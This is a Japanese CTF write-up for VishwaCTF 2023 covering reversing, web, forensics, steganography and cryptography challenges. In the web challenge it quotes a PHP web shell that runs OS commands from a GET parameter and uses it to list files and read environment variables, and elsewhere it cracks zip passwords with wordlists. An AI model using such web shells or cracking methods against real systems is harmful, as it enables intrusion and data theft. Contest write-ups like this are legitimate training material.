VishwaCTF 2023 Writeup

この大会は2023/3/31 19:30(JST)~2023/4/2 19:30(JST)に開催されました。
今回もチームで参戦。結果は4476点で1090チーム中18位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome to VISHWACTF'23! (Welcome)

問題にフラグが書いてあった。

VishwaCTF{w3_ar3_an0nym0u5_w3_4r3_l3g1on_w3_d0_not_f0rg1v3_w3_do_not_f0rg3t}

Nice guys finish last (Welcome)

Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。

VishwaCTF{g3n3r1c_d1sc0rd_fl4g}

Phi-Calculator (Reversing)

enter_license()関数に注目する。

bUsername_trial = b"vishwaCTF"
key_part_static1_trial = "VishwaCTF{m4k3_it_possibl3_"
key_part_dynamic1_trial = "xxxxxxxx"
key_part_static2_trial = "}"
key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial

check_key(user_key, bUsername_trial)がTrueになるuser_keyを考える。以下のコード部分からkey_part_dynamic1_trialが割り出せるので、key_full_template_trialはわかり、フラグが得られる。

        if key[i] != hashlib.sha256(username_trial).hexdigest()[4]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[5]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[3]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[6]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[2]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[7]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[1]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[8]:
            return False
#!/usr/bin/env python3
import hashlib

bUsername_trial = b"vishwaCTF"
key_part_static1_trial = "VishwaCTF{m4k3_it_possibl3_"
key_part_static2_trial = "}"

key_part_dynamic1_trial = ""
for i in [4, 5, 3, 6, 2, 7, 1, 8]:
    key_part_dynamic1_trial += hashlib.sha256(bUsername_trial).hexdigest()[i]

flag = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial
print(flag)
VishwaCTF{m4k3_it_possibl3_b7cdc517}

Payload (Web)

インスタンス生成ボタンで、この問題のWebサーバが以下のURLで生成された。

https://ch42250117158.ch.eng.run/

https://ch42250117158.ch.eng.run/robots.txtにアクセスすると、以下のように表示された。

<?php
    if(isset($_GET['cmd'])){
        system($_GET['cmd']);
    }
    else {
        if(isset($_GET['btn'])){
            echo "<b>System Details: </b>";
            system("uname -a");
        }
    }
?>

GETパラメータのcmdでOSコマンドを実行できるようだ。
https://ch42250117158.ch.eng.run/?cmd=lsにアクセスすると、以下のように表示された。

index.html index.php robots.txt

https://ch42250117158.ch.eng.run/?cmd=ls%20-la%20/にアクセスすると、以下のように表示された。

total 0
drwxr-xr-x   1 root root  28 Apr  2 03:32 .
drwxr-xr-x   1 root root  28 Apr  2 03:32 ..
-rwxr-xr-x   1 root root   0 Apr  2 03:32 .dockerenv
lrwxrwxrwx   1 root root   7 Mar  8 02:05 bin -> usr/bin
drwxr-xr-x   2 root root   6 Apr 18  2022 boot
drwxr-xr-x   5 root root 360 Apr  2 03:32 dev
drwxr-xr-x   1 root root  66 Apr  2 03:32 etc
drwxr-xr-x   2 root root   6 Apr 18  2022 home
lrwxrwxrwx   1 root root   7 Mar  8 02:05 lib -> usr/lib
lrwxrwxrwx   1 root root   9 Mar  8 02:05 lib32 -> usr/lib32
lrwxrwxrwx   1 root root   9 Mar  8 02:05 lib64 -> usr/lib64
lrwxrwxrwx   1 root root  10 Mar  8 02:05 libx32 -> usr/libx32
drwxr-xr-x   2 root root   6 Mar  8 02:05 media
drwxr-xr-x   2 root root   6 Mar  8 02:05 mnt
drwxr-xr-x   2 root root   6 Mar  8 02:05 opt
dr-xr-xr-x 205 root root   0 Apr  2 03:32 proc
drwx------   2 root root  37 Mar  8 02:08 root
drwxr-xr-x   1 root root  21 Apr  2 03:32 run
lrwxrwxrwx   1 root root   8 Mar  8 02:05 sbin -> usr/sbin
drwxr-xr-x   2 root root   6 Mar  8 02:05 srv
dr-xr-xr-x  13 root root   0 Apr  2 03:32 sys
drwxrwxrwt   1 root root   6 Apr  2 03:32 tmp
drwxr-xr-x   1 root root  66 Mar  8 02:05 usr
drwxr-xr-x   1 root root  17 Mar 31 07:31 var

フラグが見つからない。環境変数を見てみる。
https://ch42250117158.ch.eng.run/?cmd=set%20|%20grep%20VishwaCTF にアクセスすると、フラグが見つかった。

FLAG='VishwaCTF{y0u_f-o-u-n-d_M3}'
VishwaCTF{y0u_f-o-u-n-d_M3}

The Sender Conundrum (Forensics)

添付のzipファイルにはパスワードがかかっているので、クラックする。

$ fcrackzip -u -D -p dict/rockyou.txt unzipme.zip 


PASSWORD FOUND!!!!: pw == BrandonLee

このパスワードでzipファイルを解凍、展開する。

$ unzip unzipme.zip 
Archive:  unzipme.zip
   creating: unzipme/
[unzipme.zip] unzipme/flag.txt password: 
 extracting: unzipme/flag.txt
$ cat unzipme/flag.txt
vishwaCTF{1d3n7i7y_7h3f7_is_n0t_4_j0k3}
vishwaCTF{1d3n7i7y_7h3f7_is_n0t_4_j0k3}

1nj3ct0r (Forensics)

pcapngからUSBのキー入力を読み取る。

#!/usr/bin/env python3
from scapy.all import *

keymap = { 0x04: ('a', 'A'), 0x05: ('b', 'B'), 0x06: ('c', 'C'),
           0x07: ('d', 'D'), 0x08: ('e', 'E'), 0x09: ('f', 'F'),
           0x0a: ('g', 'G'), 0x0b: ('h', 'H'), 0x0c: ('i', 'I'),
           0x0d: ('j', 'J'), 0x0e: ('k', 'K'), 0x0f: ('l', 'L'),
           0x10: ('m', 'M'), 0x11: ('n', 'N'), 0x12: ('o', 'O'),
           0x13: ('p', 'P'), 0x14: ('q', 'Q'), 0x15: ('r', 'R'),
           0x16: ('s', 'S'), 0x17: ('t', 'T'), 0x18: ('u', 'U'),
           0x19: ('v', 'V'), 0x1a: ('w', 'W'), 0x1b: ('x', 'X'),
           0x1c: ('y', 'Y'), 0x1d: ('z', 'Z'), 0x1e: ('1', '!'),
           0x1f: ('2', '@'), 0x20: ('3', '#'), 0x21: ('4', '$'),
           0x22: ('5', '%'), 0x23: ('6', '^'), 0x24: ('7', '&'),
           0x25: ('8', '*'), 0x26: ('9', '('), 0x27: ('0', ')'),
           0x28: ('\x0a', '\x0a'), 0x29: ('\x1b', '\x1b'),
           0x2a: ('\x08', '\x08'), 0x2b: ('\x09', '\x09'),
           0x2c: ('\x20', '\x20'), 0x2d: ('-', '_'),
           0x2e: ('=', '+'), 0x2f: ('[', '{'), 0x30: (']', '}'),
           0x31: ('\\', '|'), 0x33: (';', ':'), 0x34: ('\'', '\"'),
           0x35: ('`', '~'), 0x36: (',', '<'), 0x37: ('.', '>'),
           0x38: ('/', '?')}

packets = rdpcap('usbforensics.pcapng')

msg = ''
for i in range(107, len(packets)):
    p = packets[i][Raw].load
    if len(p) == 66 and p[-2:] != b'\x00\x00':
        p0 = p[-2]
        p1 = p[-1]
        if p0 == 0:
            msg += keymap[p1][0]
        else:
            msg += keymap[p1][1]
print(msg)

実行結果は以下の通り。

flag:{n0w_y0u_423_d0n3_w17h_u58_f023n51c5}
vishwaCTF{n0w_y0u_423_d0n3_w17h_u58_f023n51c5}

Can you see me? (Steganography)

$ binwalk havealook.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
134855        0x20EC7         Zip archive data, at least v2.0 to extract, compressed size: 188827, uncompressed size: 219888, name: hereissomething.wav
323796        0x4F0D4         End of Zip archive, footer length: 22

jpgの後ろにzipがくっついているので、切り出す。

$ binwalk havealook.jpg -e

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
134855        0x20EC7         Zip archive data, at least v2.0 to extract, compressed size: 188827, uncompressed size: 219888, name: hereissomething.wav
323796        0x4F0D4         End of Zip archive, footer length: 22
$ ls _havealook.jpg.extracted/
20EC7.zip  hereissomething.wav

wavファイルを抽出することができた。このwavファイルをAudacityで開き、スぺクトログラムを見ると、フラグが現れた。

vishwaCTF{n0w_y0u_533_m3}

Guatemala (Steganography)

$ file AV
AV: GIF image data, version 89a, 498 x 498
$ exiftool AV
ExifTool Version Number         : 12.40
File Name                       : AV
Directory                       : .
File Size                       : 1086 KiB
File Modification Date/Time     : 2023:03:31 19:52:38+09:00
File Access Date/Time           : 2023:03:31 20:12:00+09:00
File Inode Change Date/Time     : 2023:03:31 19:52:38+09:00
File Permissions                : -rwxrwxrwx
File Type                       : GIF
File Type Extension             : gif
MIME Type                       : image/gif
GIF Version                     : 89a
Image Width                     : 498
Image Height                    : 498
Has Color Map                   : Yes
Color Resolution Depth          : 8
Bits Per Pixel                  : 8
Background Color                : 0
Animation Iterations            : Infinite
Comment                         : dmlzaHdhQ1RGe3ByMDczYzdfdXJfM1gxRn0=
Frame Count                     : 17
Duration                        : 2.04 s
Image Size                      : 498x498
Megapixels                      : 0.248

Commentにbase64文字列があるので、デコードする。

$ echo dmlzaHdhQ1RGe3ByMDczYzdfdXJfM1gxRn0= | base64 -d
vishwaCTF{pr073c7_ur_3X1F}
vishwaCTF{pr073c7_ur_3X1F}

XOR (Steganography)

$ exiftool BossCat.jpg 
ExifTool Version Number         : 12.40
File Name                       : BossCat.jpg
Directory                       : .
File Size                       : 2.7 MiB
File Modification Date/Time     : 2023:04:02 08:56:47+09:00
File Access Date/Time           : 2023:04:02 08:58:48+09:00
File Inode Change Date/Time     : 2023:04:02 08:56:47+09:00
File Permissions                : -rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 72
Y Resolution                    : 72
XMP Toolkit                     : Image::ExifTool 12.51
License                         : IFAUCLJXLIWUKQZTGIWUIMZS
Image Width                     : 3024
Image Height                    : 4032
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 3024x4032
Megapixels                      : 12.2

Licenseにbase32文字列らしきものがある。

>>> from base64 import *
>>> b32decode('IFAUCLJXLIWUKQZTGIWUIMZS')
b'AAA-7Z-EC32-D32'
$ steghide extract -sf BossCat.jpg -p AAA-7Z-EC32-D32
wrote extracted data to "secret.zip".
$ unzip secret.zip 
Archive:  secret.zip
  inflating: n1.png                  
  inflating: n2.png

2つ画像が出てきたので、問題タイトルから推測し、XORしてみる。

#!/usr/bin/env python3
from PIL import Image

img1 = Image.open('n1.png').convert('RGB')
img2 = Image.open('n2.png').convert('RGB')

w, h = img1.size

output_img = Image.new('RGB', (w, h), (255, 255, 255))

for y in range(h):
    for x in range(w):
        r1, g1, b1 = img1.getpixel((x, y))
        r2, g2, b2 = img2.getpixel((x, y))
        output_img.putpixel((x, y), (r1 ^ r2, g1 ^ g2, b1 ^ b2))

output_img.save('flag.png')


XORした画像には、URLが表示されている。

https://youtu.be/LlhKZaQk860
VishwaCTF{https://youtu.be/LlhKZaQk860}

Sharing is Caring (Cryptography)

暗号化処理の概要は以下の通り。

・k = 3
・n = 5
・flagの各バイト文字(i)について、以下を実行
 ・shares, prime = generate_shares(i, k, n)
  ・prime: i以上i*2未満のランダム素数
  ・coeffs: [i] + [2個の1以上prime未満のランダム整数]
  ・shares = []
  ・i: 1以上5以下について以下を実行
   ・x = i
   ・y = (coeffs[0] + coeffs[1] * x + coeffs[2] * x**2) % prime
  ・sharesに(x, y)を追加
  ・shares, primeを返却
 ・shares, primeを出力

5個出力されるが、3個で十分。

[1, 1, 1]   [c0]   [s0]
[1, 2, 4] * [c1] = [s1]
[1, 3, 9]   [c2]   [s2]

A * C = S → C = inverse(A) * S

上記のイメージで、逆行列を使って復号する。

#!/usr/bin/env sage
with open('output.txt', 'r') as f:
    params = f.read().splitlines()[1:]

flag = ''
for param in params:
    shares, prime = eval(param)
    A = matrix(Zmod(prime), [[1, 1, 1], [1, 2, 4], [1, 3, 9]])
    S = matrix(Zmod(prime), [[shares[0][1]], [shares[1][1]], [shares[2][1]]])
    C = A.inverse() * S
    flag += chr(C[0][0])
print(flag)
VishwaCTF{l4gr4ng3_f0r_th3_w1n!}

Email Incoming (Cryptography)

zipにはパスワードがかかっている。John the Ripperでクラックする。

$ zip2john Johnny.zip > hash.txt
ver 2.0 efh 9901 Johnny.zip/five.png PKZIP Encr: cmplen=21244, decmplen=21211, crc=E4D4B413
ver 2.0 efh 9901 Johnny.zip/four.png PKZIP Encr: cmplen=18880, decmplen=18853, crc=B10E9111
ver 2.0 efh 9901 Johnny.zip/justanimage.png PKZIP Encr: cmplen=43671, decmplen=43719, crc=612627B5
ver 2.0 efh 9901 Johnny.zip/nine.png PKZIP Encr: cmplen=17930, decmplen=17897, crc=1AAA830
ver 2.0 efh 9901 Johnny.zip/one.png PKZIP Encr: cmplen=18485, decmplen=18452, crc=19F18677
ver 2.0 efh 9901 Johnny.zip/seven.png PKZIP Encr: cmplen=18044, decmplen=18011, crc=7A2C8B1D
ver 2.0 efh 9901 Johnny.zip/six.png PKZIP Encr: cmplen=16998, decmplen=16965, crc=A633F686
ver 2.0 efh 9901 Johnny.zip/three.png PKZIP Encr: cmplen=18028, decmplen=17995, crc=7D8F6FF1
ver 2.0 efh 9901 Johnny.zip/two.png PKZIP Encr: cmplen=17420, decmplen=17387, crc=14687652
ver 2.0 efh 9901 Johnny.zip/zero.png PKZIP Encr: cmplen=17544, decmplen=17511, crc=67AE22C8
ver 2.0 efh 9901 Johnny.zip/.....txt PKZIP Encr: cmplen=67, decmplen=45, crc=C5570F53
ver 2.0 efh 9901 Johnny.zip/eight.png PKZIP Encr: cmplen=18346, decmplen=18313, crc=D3E04B0E
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.

$ john --wordlist=dict/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thunderbird      (Johnny.zip/five.png)
1g 0:00:00:00 DONE (2023-04-02 09:27) 3.225g/s 52851p/s 52851c/s 52851C/s havana..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed

パスワード "thunderbird" で解凍すると、以下のファイルが展開される。

・zero.jpg~nine.png
 画像をつなげて読むと、itisjustastring
・.....txt
 「Sometimes, what you see isn't what you get.」と書いてある。
・justanimage.png
 ヘッダ4バイトが異なっているが、pyAesCryptで暗号化されているようだ。

justanimage.pngのヘッダ4バイトを以下のように修正する。

89 50 4e 47 -> 41 45 53 02

パスワードを"itisjustastring"として、pyAesCryptによる復号を行う。

#!/usr/bin/env python3
import pyAesCrypt

password = 'itisjustastring'
pyAesCrypt.decryptFile('justanimage_fix.png', 'justanimage_decrypted.png',
    password)


復号した画像は、QRコードの白黒反転したものなので、StegSolveのXorで反転して、読み取る。

vishwaCTF{3ncrypt!0ns_4r3_b0r!ng!!!!}